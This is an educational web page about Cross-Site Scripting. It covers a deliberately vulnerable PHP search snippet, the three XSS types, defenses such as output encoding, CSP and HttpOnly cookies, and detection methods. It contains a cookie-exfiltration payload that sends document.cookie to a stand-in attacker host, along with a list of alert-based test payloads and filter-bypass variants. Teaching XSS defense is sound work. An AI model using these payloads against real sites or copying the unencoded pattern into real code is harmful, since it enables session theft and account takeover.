The Script That Shouldn't Run

A malicious payload hidden in plain sight. One line of code that bypasses every defense. Welcome to Cross-Site Scripting.

search.php
// Vulnerable search form
<?php
$query = $_GET['q'];
echo "<h2>Results for: " . $query . "</h2>";
?>
// Attacker's payload
<script>fetch('https://attacker.com/?c='+document.cookie)</script>
OWASP Ranking
#1
Web Vulnerability
Classification
A03
OWASP Top 10
1

Injection via Trusted Context

Cross-Site Scripting (XSS) is an injection attack where malicious scripts execute in a victim's browser within the context of a trusted site. The fundamental problem: browsers can't distinguish attacker code from legitimate code.

When a script executes in your site's context, it inherits all permissions: access to cookiesHTTP cookies store session tokens and authentication data. XSS gives attackers full access., session tokensAuthentication tokens that prove user identity to the server., and the entire DOMDocument Object Model — the tree structure representing the HTML page in memory..

The attack violates the trust boundary: user input flows through your application and back to the browser without proper encoding. The browser executes it as if you wrote it.

Key insight: Same-origin policy doesn't protect against XSS. The malicious script runs with your origin.
User Input <script>...</script> Web App No Encoding Browser Executes Attacker Gains Access To: • document.cookie • sessionStorage / localStorage • Full DOM manipulation • Form data capture • Keylogging • Network requests
2

Three Attack Vectors

XSS manifests in three distinct forms, each with different persistence and detection characteristics. Understanding the taxonomy is critical for defense.

Reflected
Type-I
Non-persistent
Stored
Type-II
Persistent
DOM-Based
2005
Klein Discovery
3
1. Attacker Submits Payload <script>malicious()</script> 2. Server Stores in Database No sanitization or encoding 3. Victim Requests Page GET /comments 4. Server Fetches Comment Injects into HTML response 5. Browser Executes Script Trusted origin context 6. Cookie Sent to Attacker document.cookie → attacker.com

How Browsers Execute the Attack

The stored XSS lifecycle demonstrates the critical failure point: when the server reflects untrusted data back into HTML without encoding, the browser has no way to distinguish malicious code from legitimate scripts.

At step 5, the browser parses the HTML and encounters the <script> tag. Because it arrived from the trusted origin (your domain), it executes with full privileges.

The same-origin policy (SOP) can't protect here. The malicious script is same-origin — it's embedded in your HTML response. SOP only restricts cross-origin access, not code that originates from your domain.

Why SOP fails: The script came from example.com, so it gets example.com's cookies and DOM access. The browser can't detect injection.

Accessible to Attacker

  • document.cookie — session tokens
  • localStorage / sessionStorage
  • ✓ DOM manipulation — full page rewrite
  • XMLHttpRequest / fetch — API calls
  • ✓ Event listeners — keylogging
4

Defense: Validate Input, Encode Output

The OWASP XSS Prevention Cheat Sheet defines the gold standard: never insert untrusted data except in allowed locations, and always encode for the context where data appears.

Encoding transforms special characters into their HTML entity equivalents. < becomes &lt;, > becomes &gt;. The browser renders the literal characters instead of parsing them as code.

Context-Specific Encoding

HTML Content: htmlspecialchars($data, ENT_QUOTES)
HTML Attributes: attr($data)
JavaScript: json_encode($data, JSON_HEX_TAG)
URLs: urlencode($data)
CSS: CSS.escape($data)
Client-side: Use DOMPurify for sanitizing HTML in the browser. Never use innerHTML with untrusted data.

Additional Defenses

  • Content Security Policy (CSP): Restrict script sources. Use script-src 'self' to block inline scripts.
  • HTTPOnly cookies: Prevents JavaScript access to session cookies. Set Set-Cookie: HttpOnly.
  • X-XSS-Protection header: Enable browser XSS filters (legacy, superseded by CSP).
  • Input validation: Whitelist allowed characters. Reject unexpected input early.
  • Disable HTTP TRACE: Prevents XST (Cross-Site Tracing) attacks that steal headers.
5

Real-World Impact

XSS enables a cascade of attacks, from session hijacking to content defacement with financial consequences.

Session Hijacking Critical Credential Theft High Trojan Delivery High Content Defacement Medium Forced Actions (CSRF) Medium

Session Hijacking

Attacker steals session cookies and gains full account access. No password required. Complete account takeover.

document.cookie → attacker.com

Credential Theft

Inject fake login forms over real page. Capture credentials as users type. Keylogging via event listeners.

addEventListener('keydown', ...)

Content Defacement

Rewrite HTML to modify press releases, product information, or pharmaceutical dosage instructions. Stock price impacts documented.

document.body.innerHTML = ...

Trojan Delivery

Serve malware via trusted domain. Browser extensions, ransomware droppers. User trusts the origin.

<iframe src="malware.exe">

Case Study: Pharmaceutical Site XSS

A stored XSS vulnerability in a drug information portal allowed attackers to modify dosage recommendations. The defacement remained live for hours, potentially causing patient harm. The company's stock dropped 3% on disclosure day.

6

Finding XSS in Your Code

Automated tools catch obvious cases, but manual code review and systematic testing remain essential.

Manual Code Review

Search for all locations where HTTP request data appears in HTML output. Focus on reflection points.

# Find dangerous patterns
grep -r "echo \$_GET" .
grep -r "echo \$_POST" .
grep -r ".innerHTML = " .
grep -r "document.write" .

Every instance is a potential injection point. Verify encoding is applied.

Automated Scanning

Tools can crawl your app and inject test payloads. Useful for broad coverage, but limited by JavaScript rendering and authentication.

  • OWASP ZAP: Open-source web app scanner
  • Burp Suite: Commercial, proxy-based testing
  • Nessus / Nikto: Network scanners with XSS checks

Tools only scratch the surface. Complex XSS requires manual verification.

Testing Methodology

  1. Identify input points: Every form field, URL parameter, HTTP header that could be reflected.
  2. Submit test payloads: Start simple (<script>alert(1)</script>), then escalate (<img src=x onerror=alert(1)>).
  3. Check reflection: View source. Is your payload in the HTML? Is it encoded?
  4. Test context variations: HTML content, attributes, JavaScript strings, event handlers.
  5. Bypass attempts: Try encoding variations (<ScRiPt>, URL encoding, Unicode normalization).
  6. Test all roles: Anonymous, authenticated, admin. Privileges affect what data is reflected.

Common Payloads

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
'><script>alert(1)</script>
"><script>alert(1)</script>
javascript:alert(1)
<iframe src="javascript:alert(1)">

Golden Rule

If you find one XSS vulnerability, assume there are more. Vulnerable code patterns repeat. Audit the entire codebase systematically.

7

Next Steps

XSS is preventable. Proper output encoding eliminates the vulnerability. This is an implementation issue, not an inherent web flaw.

OWASP Resources

Official prevention cheat sheets and testing guides.

XSS Prevention →

Content Security Policy

Implement CSP headers to restrict script sources.

CSP Reference →

OWASP ESAPI

Enterprise security API with encoding libraries.

ESAPI Project →

Action Items

  • Audit your codebase for unencoded output: grep -r "echo \$_"
  • Implement context-aware encoding: htmlspecialchars(), json_encode()
  • Add CSP headers: Content-Security-Policy: script-src 'self'
  • Set HTTPOnly on session cookies: Set-Cookie: HttpOnly; Secure
  • Integrate automated scanning in CI/CD: OWASP ZAP, Burp Suite
  • Train developers on OWASP Top 10 and secure coding practices
🎯

You Now Understand XSS

From injection vectors to defense strategies, you've mapped the complete XSS landscape.

Three attack vectors mapped Defense strategies learned Detection methods covered
Time to audit your apps. Every unencoded output is a vulnerability waiting to be exploited.
Made with scrolly.to by Jerry SoerReport